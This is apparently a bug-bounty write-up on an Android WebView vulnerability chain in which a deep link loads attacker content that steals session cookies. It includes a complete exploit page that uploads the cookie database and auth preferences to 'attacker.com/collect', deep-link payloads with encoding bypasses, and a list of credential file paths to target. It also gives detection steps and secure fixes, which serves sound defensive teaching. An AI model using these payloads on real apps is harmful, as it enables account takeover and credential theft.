Mobile applications frequently embed WebViews to display web content within native apps. When improperly configured, these WebViews become a bridge for attackers to access sensitive app data, execute privileged operations, and ultimately take over user accounts.

This writeup examines a critical vulnerability chain in an Android application where a malicious deep link could exfiltrate session cookies, leading to complete account takeover with a single click.

Understanding the Attack Surface

What is a WebView?

A WebView is an embeddable browser component that allows Android apps to display web pages. Many apps use WebViews for:

  • Displaying help documentation
  • Rendering dynamic content
  • OAuth login flows
  • In-app browsers for external links

The security challenge is that WebViews run within the app's context and may have access to:

  • JavaScript bridges exposing native functionality
  • Local file system (app's private storage)
  • Session cookies and tokens
  • Native app APIs

The Hybrid App Problem

Many apps are built using hybrid frameworks like Cordova/PhoneGap or React Native. These frameworks expose native device functionality to JavaScript through "bridges" or "plugins."

The Architecture:

JavaScript Code in WebView ↓ JavaScript Bridge (FileTransfer, Camera, GPS, Storage…) ↓ Native Android Layer (File System, Network, Device APIs)

If an attacker can load their own JavaScript into a WebView that has these bridges enabled, they can invoke native functionality.

The Vulnerability

The application contained several security flaws that, when chained together, allowed complete account takeover:

Flaw 1: Overly Permissive URL Whitelist

The app validated URLs before loading them in the WebView. The validation included a whitelist of trusted domains:

public static boolean isAllowedUrl(String url) {
    String[] trustedPatterns = {
        "*.example.com",
        "*.cloudfront.net",
        "*.s3.amazonaws.com",    // Too broad!
        "*.storage.googleapis.com"
    };
    for (String pattern : trustedPatterns) {
        if (urlMatchesPattern(url, pattern)) {
            return true;
        }
    }
    return false;
}

The problem: anyone can create an S3 bucket and host content on *.s3.amazonaws.com. This wildcard trust effectively allows attacker-controlled content.

Flaw 2: JavaScript Bridge Exposure

The WebView exposed a JavaScript bridge that allowed file operations:

webView.addJavascriptInterface(new FileOperations(), "nativeBridge");
public class FileOperations {
    @JavascriptInterface
    public void uploadFile(String filePath, String uploadUrl) {
        // Uploads local file to remote URL
        File file = new File(filePath);
        HttpClient.upload(file, uploadUrl);
    }
    @JavascriptInterface
    public String readFile(String filePath) {
        // Returns file contents
        return FileUtils.readFileToString(new File(filePath));
    }
}

This bridge was available to any page loaded in the WebView, not just the app's own content.

Flaw 3: Deep Link Handler

The app registered a deep link handler that would open URLs in the embedded WebView:

<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="exampleapp" />
    <data android:scheme="https" android:host="app.example.com" />
</intent-filter>

An attacker could craft a link that, when clicked, would open the malicious page in the app's WebView.

The Exploit Chain

Step 1: Host Malicious Page on Trusted Domain

The attacker creates an S3 bucket and hosts a malicious HTML page:

<!-- https://attacker-bucket.s3.amazonaws.com/exploit.html -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Wait for the native bridge to be available
setTimeout(function() {
    // Path to the app's cookie database
    var cookiePath = "/data/user/0/com.example.app/app_webview/Default/Cookies";
    // Exfiltrate to attacker server
    var exfilUrl = "https://attacker.com/collect";
    // Use the exposed JavaScript bridge
    window.nativeBridge.uploadFile(cookiePath, exfilUrl);
    // Also grab shared preferences
    var prefsPath = "/data/user/0/com.example.app/shared_prefs/auth.xml";
    window.nativeBridge.uploadFile(prefsPath, exfilUrl);
}, 1000);
</script>
</body>
</html>

Step 2: Craft the Deep Link

The attacker creates a link that navigates to the malicious page while bypassing any URL checks:

<!-- Attacker's website -->
<a href="https://app.example.com/redirect?url=https://attacker-bucket.s3.amazonaws.com/exploit.html">
    Click here for a special offer!
</a>

Or using URL encoding to bypass filters:

exampleapp://open?url=https%3A%2F%2Fattacker-bucket.s3.amazonaws.com%2Fexploit.html

Step 3: Victim Clicks the Link

When the victim clicks the link on their phone:

  1. Android opens the target app
  2. App validates URL → *.s3.amazonaws.com is trusted → allowed
  3. App loads the page in WebView with JavaScript bridge enabled
  4. Malicious JavaScript executes
  5. JavaScript calls nativeBridge.uploadFile() with cookie database path
  6. App uploads the cookie file to attacker's server

Step 4: Account Takeover

The attacker receives an SQLite database containing session cookies:

-- Contents of stolen Cookies file
SELECT * FROM cookies WHERE host_key LIKE '%example.com%';
host_key          | name           | value
------------------|----------------|----------------------------------
.example.com      | session_id     | eyJhbGciOiJIUzI1NiIs...
.example.com      | auth_token     | a]3kd9$mzp2...
.api.example.com  | refresh_token  | rt_8ks02m4n...

The attacker imports these cookies into their browser and gains full access to the victim's account.

Technical Deep Dive

Why Cookie Files Are Accessible

Android apps store WebView cookies in an SQLite database at a predictable path:

/data/user/0/<package_name>/app_webview/Default/Cookies

This file is within the app's private storage, which the app (and its WebView JavaScript bridge) can access.

The JavaScript Bridge Security Model

When you add a JavaScript interface to a WebView:

webView.addJavascriptInterface(new MyBridge(), "bridge");

Every method annotated with @JavascriptInterface becomes callable from JavaScript:

// From any page loaded in this WebView
window.bridge.anyExposedMethod("argument");

The critical mistake is enabling this bridge for all loaded content, not just trusted first-party pages.

Path Traversal in File Operations

The vulnerable uploadFile method didn't validate the file path:

@JavascriptInterface
public void uploadFile(String filePath, String uploadUrl) {
    // No validation! Attacker can specify any path
    File file = new File(filePath);
    if (file.exists()) {
        HttpClient.upload(file, uploadUrl);
    }
}

Even with path validation, encoded paths could bypass checks:

// URL-encoded path
var path = "%2Fdata%2Fuser%2F0%2Fcom.example.app%2Fapp_webview%2FDefault%2FCookies";
window.nativeBridge.uploadFile(decodeURIComponent(path), exfilUrl);

Other Sensitive Files to Target

Beyond cookies, attackers might target:

shared_prefs/*.xml — Auth tokens, user preferences

databases/*.db — Local data, cached credentials

files/auth.json — API keys, tokens

cache/ — Cached responses with sensitive data

app_webview/Local Storage/ — localStorage data

Example paths:

var targets = [
    "/data/user/0/com.example.app/shared_prefs/authentication.xml",
    "/data/user/0/com.example.app/databases/user_data.db",
    "/data/user/0/com.example.app/files/config.json",
    "/data/user/0/com.example.app/app_webview/Default/Local Storage/leveldb/"
];

Detection Methods

Static Analysis

Look for these patterns in the APK:

# Decompile APK
apktool d app.apk
# Search for JavaScript interfaces
grep -r "addJavascriptInterface" .
grep -r "@JavascriptInterface" .
# Check for file operation methods
grep -r "uploadFile\|readFile\|writeFile" .
# Find URL whitelists
grep -r "amazonaws.com\|googleapis.com\|cloudfront" .

Dynamic Analysis

Using Frida to intercept JavaScript bridge calls:

// frida-hook.js
Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");
    WebView.addJavascriptInterface.implementation = function(obj, name) {
        console.log("[*] addJavascriptInterface called");
        console.log("    Interface name: " + name);
        console.log("    Object class: " + obj.getClass().getName());
        return this.addJavascriptInterface(obj, name);
    };
});

Testing the Vulnerability

  1. Identify trusted domains — Intercept traffic and note which domains the app trusts
  2. Host test page — Create a page on a trusted domain (if possible) or find open redirects
  3. Test bridge access — Try calling exposed JavaScript interface methods
  4. Attempt file access — Try reading/uploading known file paths

Secure Implementation

Fix 1: Strict URL Validation

Don't trust wildcard cloud domains:

public static boolean isAllowedUrl(String url) {
    // Exact domain matching only
    Set<String> trustedDomains = Set.of(
        "www.example.com",
        "app.example.com",
        "cdn.example.com"
    );
    try {
        URL parsed = new URL(url);
        return trustedDomains.contains(parsed.getHost());
    } catch (MalformedURLException e) {
        return false;
    }
}

Fix 2: Restrict JavaScript Bridge

Only enable bridges for first-party content:

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onPageStarted(WebView view, String url, Bitmap favicon) {
        if (isFirstPartyUrl(url)) {
            view.addJavascriptInterface(new FileOperations(), "nativeBridge");
        } else {
            view.removeJavascriptInterface("nativeBridge");
        }
    }
});

Fix 3: Validate File Paths

Restrict file operations to safe directories:

@JavascriptInterface
public void uploadFile(String filePath, String uploadUrl) {
    File file = new File(filePath);
    File allowedDir = new File(context.getFilesDir(), "uploads");
    // Ensure file is within allowed directory
    if (!file.getCanonicalPath().startsWith(allowedDir.getCanonicalPath())) {
        throw new SecurityException("Access denied");
    }
    // Proceed with upload
    HttpClient.upload(file, uploadUrl);
}

Fix 4: Disable File Access in WebView

WebSettings settings = webView.getSettings();
settings.setAllowFileAccess(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setAllowUniversalAccessFromFileURLs(false);

Impact Assessment

  1. Account Takeover (Critical) — Stolen session cookies allow full account access
  2. Data Theft (High) — Exfiltration of local databases, preferences
  3. Session Hijacking (Critical) — Attacker can impersonate user across platforms
  4. Privacy Breach (High) — Access to cached personal data

This vulnerability is particularly severe because:

  1. One-click exploitation — victim just needs to click a link
  2. Silent execution — no visible indication of compromise
  3. Full account access — session tokens work across all platforms
  4. Persistent access — refresh tokens allow long-term access

Key Takeaways

Android WebViews are a significant attack surface. When auditing mobile apps:

  1. Check URL whitelists — wildcard cloud domains are dangerous
  2. Identify JavaScript bridges — look for addJavascriptInterface calls
  3. Test file access — can you read sensitive app files?
  4. Trace deep links — where do they lead and what context do they have?

The combination of trusted cloud domains, exposed JavaScript bridges, and file system access creates a powerful attack chain. Each component might seem harmless alone, but together they enable complete account compromise.

Episode #2 of my vulnerability research series.

#bugbounty #android #mobile #security #webview #infosec